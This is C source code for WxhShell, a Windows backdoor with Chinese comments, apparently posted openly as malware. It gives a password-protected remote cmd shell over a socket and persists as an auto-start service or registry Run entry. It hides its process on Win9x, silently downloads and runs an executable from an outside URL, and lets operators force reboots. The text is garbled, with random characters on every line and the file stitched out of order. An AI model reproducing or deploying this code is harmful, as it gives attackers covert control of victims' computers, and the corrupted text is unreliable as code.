    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E3_ 5~>  
    else { !-B|x0fs  
    closesocket(wsh); }OgZZ8-_M  
    ExitThread(0); ab_EH}j1\q  
    } o-AAx#@  
    break;  A1jA$  
    } V#DNcF~v]f  
  // 获取shell O;#0Yg  
  case 's': { "[ >ql1t{b  
    CmdShell(wsh); v)!^%D  
    closesocket(wsh); x Sv@K5"8!  
    ExitThread(0); lIatM@gU  
    break; bxww1NG>|Z  
  } `9G1Bd8k  
  // 退出 4}^\&K&t{  
  case 'x': { # 9ZO1\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )x&>Cf<,  
    CloseIt(wsh); -s:NF;"  
    break; j&,%v+x  
    } S'q4va"  
  // 离开 04#r'UIF  
  case 'q': { +]# p m9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _M[T8"e(  
    closesocket(wsh); (ZK(ODn)i  
    WSACleanup(); Biy$p6  
    exit(1); f{R/rb&iB  
    break; 1uc;:N G=  
        } @ |7e~U  
  } S#Pni}JD  
  } !2=eau^p  
.iEzEmu  
  // 提示信息 Io)@u~yz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g _u  
} 8.D9OpU  
  } x):h|/B  
|H-zm&h>'  
  return; t=r*/DxX=  
} ^/Frg<>'p  
GEfTs[  
// shell模块句柄 4p/d>DTiM  
int CmdShell(SOCKET sock) 4ko(bW#jL  
{ =a./HCF  
STARTUPINFO si; 7Dx <Sr!  
ZeroMemory(&si,sizeof(si)); C5'#0}6i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;jT@eBJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C C`Y r  
PROCESS_INFORMATION ProcessInfo; B#x.4~YX  
char cmdline[]="cmd"; ;kF+V*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~YrO>H` B  
  return 0; ' sTMUPg`  
} J]4Uh_>)  
B3&`/{u  
// 自身启动模式 8|\?imOp\[  
int StartFromService(void) t9m08K:Y  
{ t>(}LV.  
typedef struct NT [~AK9M  
{ =xsTVT;sj  
  DWORD ExitStatus; 8u#2M8.5E  
  DWORD PebBaseAddress; [e`6gGO  
  DWORD AffinityMask; THDyb9_g  
  DWORD BasePriority; . ,n>#lL  
  ULONG UniqueProcessId; U_C 1GT-|  
  ULONG InheritedFromUniqueProcessId; ioS(;2F  
}   PROCESS_BASIC_INFORMATION; RE75TqYW  
r4Jc9Tv d  
PROCNTQSIP NtQueryInformationProcess; Y**|e4  
zvnR'\A_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .uu[MzMIu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *Nh[T-y(s  
-85W/%  
  HANDLE             hProcess; xsdi\ j;n>  
  PROCESS_BASIC_INFORMATION pbi; 0:4w@"Q  
qFYM2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ju?D=n@i  
  if(NULL == hInst ) return 0; G^/8lIj  
rnTjw "%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $y+Bril5W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \ POQeZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X=i",5;  
]B r 6!U4~  
  if (!NtQueryInformationProcess) return 0; g\lEdxm6Sj  
vmK`QPu 2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $[DSe~  
  if(!hProcess) return 0; Vi_6O;  
* k ^?L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *b+ ~@o  
eww/tGa  
  CloseHandle(hProcess); H^C$2f  
u~q6?*5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jz72~+)T  
if(hProcess==NULL) return 0; ^26}j uQ  
t bEJyA  
HMODULE hMod; %6@->c{  
char procName[255]; JP*VR=0k?  
unsigned long cbNeeded; dw]jF=u  
Z1ZjQt#~+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /32x|Ow# 1  
Z. G<'  
  CloseHandle(hProcess); wxSJ  
Doc_rQYku  
if(strstr(procName,"services")) return 1; // 以服务启动 IG=#2 /$  
TQg~I/  
  return 0; // 注册表启动 ZQY?wO: [  
} bL]NSD  
|Y&&g=7  
// 主模块 j0+l-]F-  
int StartWxhshell(LPSTR lpCmdLine) E|v9khN(].  
{ Kk9W=vd  
  SOCKET wsl; p?XVO#  
BOOL val=TRUE; (N :vDq'  
  int port=0; c}r"O8M  
  struct sockaddr_in door; ;o-c.-!F  
o-_H+p6a  
  if(wscfg.ws_autoins) Install(); A$Ok^  
T.?}iz=ZEq  
port=atoi(lpCmdLine); ]XhX aoqL  
KoKd.%  
if(port<=0) port=wscfg.ws_port; G=l-S\0@  
YecV+ K'p:  
  WSADATA data; XlDN)b5v{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `4kVe= {  
GP{$w_'!J0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @m+2e C77  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %29lDd(<  
  door.sin_family = AF_INET;  \qj(`0HG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SM8Wg>  
  door.sin_port = htons(port); 0S71&I$u]  
G24 Ov&H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7/b\NLeJ'  
closesocket(wsl); )LDBvpJyQ  
return 1; ee\QK,QV  
} #$0*Gd-N  
!}PZCbDhL  
  if(listen(wsl,2) == INVALID_SOCKET) { B Ms?+  
closesocket(wsl); w9]HJ3qi  
return 1; j;SK{Oq  
} ,A9_xdv5  
  Wxhshell(wsl); ' >R?8Y  
  WSACleanup(); [H5BIM@{  
$~5ax8u&!#  
return 0; Dlqvz|X/  
"cDMFu  
} 5e}adHjM  
q)PLc{NO  
// 以NT服务方式启动 ^LAnR>mz^r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Xh_`*]ox  
{ :^H2D=z@  
DWORD   status = 0; vMYL( ]e  
  DWORD   specificError = 0xfffffff; 5VZZk%oy  
s@D/.X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uyDPWnYk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @P @{%I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A} v;uNS]  
  serviceStatus.dwWin32ExitCode     = 0; )/cf%  
  serviceStatus.dwServiceSpecificExitCode = 0; [D_s`'tg  
  serviceStatus.dwCheckPoint       = 0; h h7unHt-  
  serviceStatus.dwWaitHint       = 0; (bp4ly^  
|e{ ^Yf4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7 tQ?av  
  if (hServiceStatusHandle==0) return; []b= xRJM  
SQs+4YJ  
status = GetLastError(); n4InZ!)  
  if (status!=NO_ERROR) p!>DA?vF  
{ '@dk3:3t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >yf}9Zs  
    serviceStatus.dwCheckPoint       = 0; ~`X$b F  
    serviceStatus.dwWaitHint       = 0; g$ h`.Fk,  
    serviceStatus.dwWin32ExitCode     = status; N.UeuLz  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,xI FF-[0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W:8pmI  
    return; Kw=][}d`D  
  } )}lO%B'K  
^?5HagA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H7%q[O  
  serviceStatus.dwCheckPoint       = 0; +; / s0  
  serviceStatus.dwWaitHint       = 0; 8/T[dn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;u;_\k<qK  
} 7_ s7 );  
!xvAy3  
// 处理NT服务事件,比如:启动、停止 zmhL[1qj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zS*vKyye>  
{ t Z@OAPRx  
switch(fdwControl) {4eI} p<  
{ {H3B1*Dk  
case SERVICE_CONTROL_STOP: i F \H  
  serviceStatus.dwWin32ExitCode = 0; `z$=J"%? y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )~-r&Q5d  
  serviceStatus.dwCheckPoint   = 0; O-&^;]ieJ  
  serviceStatus.dwWaitHint     = 0; %f5c,}  
  { @Y !Jm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (;9j#x  
  } nxMZd=Y  
  return; P&IS$FC.\  
case SERVICE_CONTROL_PAUSE: IoZ _zz0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {t!Pv 2y<  
  break; S SfNI>  
case SERVICE_CONTROL_CONTINUE: d <RJH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w@WPp0mny  
  break; Fv<3VKueK[  
case SERVICE_CONTROL_INTERROGATE: _N:GZLG  
  break; UM2yv6:/  
}; <w3_EO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !v. <H]s)  
} lYT_Y.%I  
MY'T%_i d  
// 标准应用程序主函数 B?l 0u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I%l2_hs0V  
{ x>tsI}C  
@%jY  
// 获取操作系统版本 YI>9C 76L  
OsIsNt=GetOsVer(); e$7KMH=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W`uq,r0Xsy  
%UlgG 1?A  
  // 从命令行安装 35J VF*z  
  if(strpbrk(lpCmdLine,"iI")) Install(); CbwQbJ/v7  
Pk>S;KT.  
  // 下载执行文件 i0F6eqe=J  
if(wscfg.ws_downexe) { Qs ysy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j'`-3<k  
  WinExec(wscfg.ws_filenam,SW_HIDE); f2u4*X E\  
} g@Pq<   
Y`."=8R~  
if(!OsIsNt) { P9W?sPnC5  
// 如果时win9x,隐藏进程并且设置为注册表启动 t;`ULp~&  
HideProc(); 5zOC zm  
StartWxhshell(lpCmdLine); mt~E&Z(A  
} E24j(>   
else Mm;[f'{M)  
  if(StartFromService()) $18?Q+?3  
  // 以服务方式启动 \5}*;O@  
  StartServiceCtrlDispatcher(DispatchTable); VTwQD"oB  
else !j%u wje\  
  // 普通方式启动 iJ`zWpj+{Q  
  StartWxhshell(lpCmdLine); />wE[`  
a7!{`fR5  
return 0; L;WFHIE  
} f@2F!  
3$S~!fh  
Xl:.`{5L  
a(kY,<}  
=========================================== v 6s]X*l?  
^1yD&i'q  
!%[fi[p  
1 @i/N  
nok-![  
"'C5B>qO  
" =;(L$:l~  
~E/=nv$  
#include <stdio.h> -@ra~li,yQ  
#include <string.h> ^7a@?|,q8  
#include <windows.h> I^HwXp([  
#include <winsock2.h> $z`l{F4eMf  
#include <winsvc.h> |*^}e54  
#include <urlmon.h> N>CNgUyP  
7Ck3L6J#  
#pragma comment (lib, "Ws2_32.lib") ZQ>Q=eCs 1  
#pragma comment (lib, "urlmon.lib") X]o"4#CQIX  
a?xZsR  
#define MAX_USER   100 // 最大客户端连接数 PEMBh?)g  
#define BUF_SOCK   200 // sock buffer n5z|@I`S_  
#define KEY_BUFF   255 // 输入 buffer M2\c0^R  
)7p(htCz5  
#define REBOOT     0   // 重启 ^#IE t#  
#define SHUTDOWN   1   // 关机 Wt=\hixj-  
Z1Qv>@u  
#define DEF_PORT   5000 // 监听端口 K>C@oE[W  
DIfQ~O+u  
#define REG_LEN     16   // 注册表键长度 GG"6O_  
#define SVC_LEN     80   // NT服务名长度 2x<!>B  
Fy0sn|  
// 从dll定义API "l hj1zZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0wCQPvO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9kB R/{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A!Tm[oqu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b 0qA  
[H{@<*  
// wxhshell配置信息 U#&+n-npO  
struct WSCFG { Kr[oP3  
  int ws_port;         // 监听端口 OL%}C*Zq  
  char ws_passstr[REG_LEN]; // 口令 4H NaE{O4  
  int ws_autoins;       // 安装标记, 1=yes 0=no /4N?v. jf  
  char ws_regname[REG_LEN]; // 注册表键名 3 q J00A  
  char ws_svcname[REG_LEN]; // 服务名 Y`#6MhFT7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pmOUl 8y4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K7@|2;e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JPHM+3v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no evpy%/D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uGF{0 )0g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t2YB(6w+xg  
gVe]?Jva`  
}; E-($Xc  
<EQaYZY=  
// default Wxhshell configuration z;y{QO  
struct WSCFG wscfg={DEF_PORT, s;..a&C'  
    "xuhuanlingzhe", B"zB=Aw  
    1, Xk/iyp/  
    "Wxhshell", ,L lYRj 5  
    "Wxhshell", #oR`_Dm)P  
            "WxhShell Service", \XYidj  
    "Wrsky Windows CmdShell Service", )2#&l  
    "Please Input Your Password: ", "LJV}L  
  1, SF9NS*mr  
  "http://www.wrsky.com/wxhshell.exe", q"6$#o{~U  
  "Wxhshell.exe" IUDH"~f  
    }; ~Uey'Xz  
ijUu{PG`X  
// 消息定义模块 tTF<DD}8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <h;_:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `<g6^P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rS+) )!  
char *msg_ws_ext="\n\rExit."; {M7`"+~w  
char *msg_ws_end="\n\rQuit."; .6LRg  
char *msg_ws_boot="\n\rReboot..."; D9NQ3[R 9  
char *msg_ws_poff="\n\rShutdown..."; 5gII|8>rQ  
char *msg_ws_down="\n\rSave to "; >*opEI+  
Qc)i?Z'6  
char *msg_ws_err="\n\rErr!"; Dy>6L79G  
char *msg_ws_ok="\n\rOK!"; Jm#p!G+  
ck%YEMs  
char ExeFile[MAX_PATH]; Vo+.s#wN`h  
int nUser = 0; M@P%k`6C  
HANDLE handles[MAX_USER]; {Z7ixc523  
int OsIsNt; $(+xhn(O  
K0>+-p oL  
SERVICE_STATUS       serviceStatus; 1KbZ6Msy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  S,ea[$_  
/}J_2  
// 函数声明 Qe\vx1GRLH  
int Install(void); *W 2)!C|  
int Uninstall(void); 4(VV@:_%  
int DownloadFile(char *sURL, SOCKET wsh); nlI3|5  
int Boot(int flag); {I0U 4]  
void HideProc(void); ~\i(bFd)  
int GetOsVer(void); dvqg H  
int Wxhshell(SOCKET wsl); [z ]P5  
void TalkWithClient(void *cs); y.}{KQ"a*  
int CmdShell(SOCKET sock); ,msP(*qoI  
int StartFromService(void); 1G"ohosmF  
int StartWxhshell(LPSTR lpCmdLine); *S"RU~1_  
dP(.l}O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %8h=_(X\7  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  <7SE|  
I.G[|[. Do  
// 数据结构和表定义 HA,8O [jon  
SERVICE_TABLE_ENTRY DispatchTable[] = RgUQ:  
{ ~[dL:=?c  
{wscfg.ws_svcname, NTServiceMain}, }A,!|m4  
{NULL, NULL} KvEv0L<ky  
}; 7s3=Fa:9Q  
c"-X: m"  
// 自我安装 XzSl"UPYH  
int Install(void) @eeI4Jz  
{ U,Uy0s2r  
  char svExeFile[MAX_PATH]; dNNXMQ0"  
  HKEY key; D)?%kNeA  
  strcpy(svExeFile,ExeFile); \#LDX,=  
2G$p x  
// 如果是win9x系统,修改注册表设为自启动 fP5i3[T  
if(!OsIsNt) { 5>+@.hPX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TfT^.p*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r~YBj>}  
  RegCloseKey(key); }$ySZa9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .r{t&HO;Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M2p|&Z%  
  RegCloseKey(key); )[J!{$&y  
  return 0; ~tyqvHC  
    } 9#:fQ!3`  
  } c0o Z7)*}  
} "igA^^?X1N  
else { R9 Ab.t  
]Idwy|eG  
// 如果是NT以上系统,安装为系统服务 \8!CKnfs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pfHjs3A=  
if (schSCManager!=0) wK7w[Xt  
{ j5" L  
  SC_HANDLE schService = CreateService dsx<ZwZN>  
  ( .?5 ~zK  
  schSCManager, 0C> _aj  
  wscfg.ws_svcname, utuWFAGn A  
  wscfg.ws_svcdisp, (lS[a  
  SERVICE_ALL_ACCESS, ZD'mwj+K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "yh2+97l  
  SERVICE_AUTO_START, /g!ZU2&l  
  SERVICE_ERROR_NORMAL, K>e-IxA);0  
  svExeFile, >6jal?4u-  
  NULL, @s cn ?t  
  NULL, k{#k:  
  NULL, )Z1&`rv  
  NULL, 9aLd!P uTN  
  NULL _AX,}9  
  ); 3N- '{c6]U  
  if (schService!=0) _s#]WyU1g  
  { )Sb-e(sl  
  CloseServiceHandle(schService); <mlN\BcX;  
  CloseServiceHandle(schSCManager); l+>Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JygJ4RI%j  
  strcat(svExeFile,wscfg.ws_svcname); {l!{b1KJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h)ZqZ'k$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B }euIQB  
  RegCloseKey(key); 6xtgnl#T  
  return 0; uA[ :  
    } TP {\V>*Yz  
  } CEkUXsp  
  CloseServiceHandle(schSCManager); RV_I&HD!  
} 2( 0%{*m  
} 1E / G+pm  
1uN;JN `_  
return 1; (}6\_k[}m  
} MnqT?Cc4$j  
_q#pEv  
// 自我卸载 ``k[CgV  
int Uninstall(void) dWiNe!oY2  
{ P?f${ t+  
  HKEY key; hBnUpYec  
F"k`PF*b  
if(!OsIsNt) {  B>:U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i6k6l%  
  RegDeleteValue(key,wscfg.ws_regname); 2^ ]^Yc  
  RegCloseKey(key); lSaX!${R'T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Zwx3[bq6K  
  RegDeleteValue(key,wscfg.ws_regname); xtD(tiqh.;  
  RegCloseKey(key); T=u"y;&L  
  return 0; p*42 @1,  
  } ,(Zxd4?y  
} ; 8DtnnE  
} BRM `/s  
else { q MrM^ ~  
Ul /m]b6-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \1joW#  
if (schSCManager!=0) 9%|skTgIqH  
{ dWkQ NFKF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'A.5T%n-  
  if (schService!=0) (>A#|N1U  
  { 4GF3.?3  
  if(DeleteService(schService)!=0) { " Zhh>cz  
  CloseServiceHandle(schService); ;z9 ,c  
  CloseServiceHandle(schSCManager); #GlFm?/6K/  
  return 0; +em!TO  
  } B-]bhA4|:  
  CloseServiceHandle(schService); !9NF@e'&!  
  } A32Sdr'D  
  CloseServiceHandle(schSCManager); '+{yg+#/wV  
} yp$jLBA  
} -hW>1s<  
Xwo+iZ(a  
return 1; "Hz%0zP&  
} kP[fhOpn  
}"WovU{*s  
// 从指定url下载文件 (_ :82@c  
int DownloadFile(char *sURL, SOCKET wsh) Zl&ED{k<  
{ HP_h!pvx  
  HRESULT hr; )e'F[  
char seps[]= "/"; #z&R9$  
char *token; 6M7GPHah  
char *file; 0n6eWwY  
char myURL[MAX_PATH]; N atC}k  
char myFILE[MAX_PATH]; v5\ALWy+p  
GB}\7a  
strcpy(myURL,sURL); HAI) +J   
  token=strtok(myURL,seps); } %?or_f/  
  while(token!=NULL) K JOb1MM  
  { #tHYCSr]  
    file=token; :Ob^b3<t  
  token=strtok(NULL,seps); =>c0NT  
  } Z7pX%nj_  
5EQ)pH+  
GetCurrentDirectory(MAX_PATH,myFILE); aWRi`poZT  
strcat(myFILE, "\\"); e8dZR3JL  
strcat(myFILE, file); ?'a>?al%>  
  send(wsh,myFILE,strlen(myFILE),0); u(8{5"C  
send(wsh,"...",3,0); <)a$5"AP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OqMdm~4B!j  
  if(hr==S_OK) /KC^x= Xv:  
return 0; ]U'zy+  
else s?m_zJh  
return 1; C4ktCN  
4Ol1T(J#  
} Hs8JJGXWB  
6c(b*o  
// 系统电源模块 *rw6?u9I  
int Boot(int flag) LlgFQfu8  
{ H'udxPF  
  HANDLE hToken; qzORv  
  TOKEN_PRIVILEGES tkp; Tim/7*vx  
!:5'MI@  
  if(OsIsNt) { w@R"g%k-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zfI{cMn'J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YI*H]V%w  
    tkp.PrivilegeCount = 1; h@*I(ND<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~a2|W|?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %hBwc#^  
if(flag==REBOOT) { q({-C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tf!6N<dRXR  
  return 0; VByA6^JR  
} ;Dp*.YJ  
else { TAOsg0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;PG= 3j_  
  return 0; vv2[t  
} _8y4U  
  } .p=J_%K}0x  
  else { LqI&1$#  
if(flag==REBOOT) { N-2_kjb!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! jAp V  
  return 0; A#?Cts ,M  
} 0Cf'\2  
else { /mp!%j~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V\L%*6O  
  return 0; &$2d=q8mh  
} jPz1W4pk  
} >#&25,Q  
OY81|N j  
return 1; 6 F39'  
} #+_=(J  
iuXXFuh  
// win9x进程隐藏模块 T zS?WYF  
void HideProc(void) ,d lq2  
{ i9qIaG/  
l44QB8 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6A =k;do  
  if ( hKernel != NULL ) xH` VX-X3  
  { gzvgXZ1q"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pN9U1!|uam  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LcA7f'GVK  
    FreeLibrary(hKernel); <6;@@  
  } >0iCQKq  
#b)`as?!1  
return; |N6.:K[`  
} IIGx+>  
\Ezcr=0z{j  
// 获取操作系统版本 3rHn?  
int GetOsVer(void) ' e!WZvr  
{ hg<[@Q%$o  
  OSVERSIONINFO winfo; BUsxgs"),  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iyR"O1]  
  GetVersionEx(&winfo); 9dAtQwGR"6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `S-%}eUv  
  return 1; {"$ [MYi:  
  else CGK]i. N  
  return 0; { Dm@_&  
} b?,%M^9\`  
"WtYqXyd  
// 客户端句柄模块 ..BP-N)V)  
int Wxhshell(SOCKET wsl) j$s/YI:  
{ j$ lf>.[I  
  SOCKET wsh; WPpO(@sn  
  struct sockaddr_in client; f<rn't{  
  DWORD myID; 9Qu(RbDqC  
| X#!5u  
  while(nUser<MAX_USER) stW G`>X  
{ s~>1TxJe  
  int nSize=sizeof(client); aqK+ u.H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #U w X~  
  if(wsh==INVALID_SOCKET) return 1; 8EdaxeDq  
F(lJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9I<~t@q5e@  
if(handles[nUser]==0) o+XQMg  
  closesocket(wsh); +rSU  
else CSW+UaE  
  nUser++; Gl|n}wo$  
  } B6Ajcfy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2T?Y  
~UeTV?)  
  return 0; ,g0t&jITo  
} R)SY#*Y  
<z#Fj`2{  
// 关闭 socket -L6CEe  
void CloseIt(SOCKET wsh) T2rBH]5  
{ eGpKoq7a  
closesocket(wsh); #+U1QOsz  
nUser--; 1$C?+H  
ExitThread(0); zv/dj04>  
} .Oc j|A6  
(.Ak*  
// 客户端请求句柄  CDuA2e  
void TalkWithClient(void *cs) *pnaj\  
{ Uz rf,I[  
6L\]Ee  
  SOCKET wsh=(SOCKET)cs; t18j2P>`  
  char pwd[SVC_LEN]; EVaHb;  
  char cmd[KEY_BUFF]; K*,,j\Q.  
char chr[1]; LCj3{>{/=  
int i,j; /5L\:eX%  
?mK&Slh.  
  while (nUser < MAX_USER) { 3pW4Ul@e  
H-u SdT  
if(wscfg.ws_passstr) { #QcRN?s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GRofOJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2&]LZ:(  
  //ZeroMemory(pwd,KEY_BUFF); )Qe]!$tqfD  
      i=0; I 2OQ  
  while(i<SVC_LEN) { 5cU:wc  
Rcw[`q3/  
  // 设置超时 's5rl  
  fd_set FdRead; ~QPTs1Vk8  
  struct timeval TimeOut; B B69U  
  FD_ZERO(&FdRead); -}!mi V  
  FD_SET(wsh,&FdRead); ]yqE6Lf9  
  TimeOut.tv_sec=8; BaIuOZ@,  
  TimeOut.tv_usec=0; s]kzXzRC?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c[ 0`8s!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +U_1B%e(%  
gCG #?f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0} &/n>F  
  pwd=chr[0]; bE2O[B  
  if(chr[0]==0xd || chr[0]==0xa) { R'>@ja*  
  pwd=0; \SO)|M>.a  
  break; Lr8|S  
  } ZS]Z0iZv9  
  i++; a:HN#P)12  
    } mDbTOtD  
z9OpxW@Ou  
  // 如果是非法用户,关闭 socket >!']w{G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +O9x8OPHW  
} ZbdGI@  
>D~8iuy]8.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |%F4`gz8KP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^HVuYa.0  
0pEM0M  
while(1) { (&v|,.c^)1  
ly6zz|c5  
  ZeroMemory(cmd,KEY_BUFF); F |5Au>t  
oCI\yp@a  
      // 自动支持客户端 telnet标准   ,5}w]6bCr  
  j=0; |Z2"pV  
  while(j<KEY_BUFF) { #Cu$y8~as  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1>L'F8"  
  cmd[j]=chr[0]; #Y'b?&b  
  if(chr[0]==0xa || chr[0]==0xd) { hqjjd-S0  
  cmd[j]=0; )b2O!p  
  break; tAJ}36 aG  
  } Q#qfuwz  
  j++; u'_}4qhCC;  
    } }Kp<w,  
GQA\JYw|oY  
  // 下载文件 rrj.]^E_~  
  if(strstr(cmd,"http://")) { m}RZ )c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Os0<1@H  
  if(DownloadFile(cmd,wsh)) t[X^4bZd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \**j \m   
  else !yrh50tD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iZeq l1O  
  } Dr%wab"yy  
  else { p0zC(v0*  
LK}FI* A_  
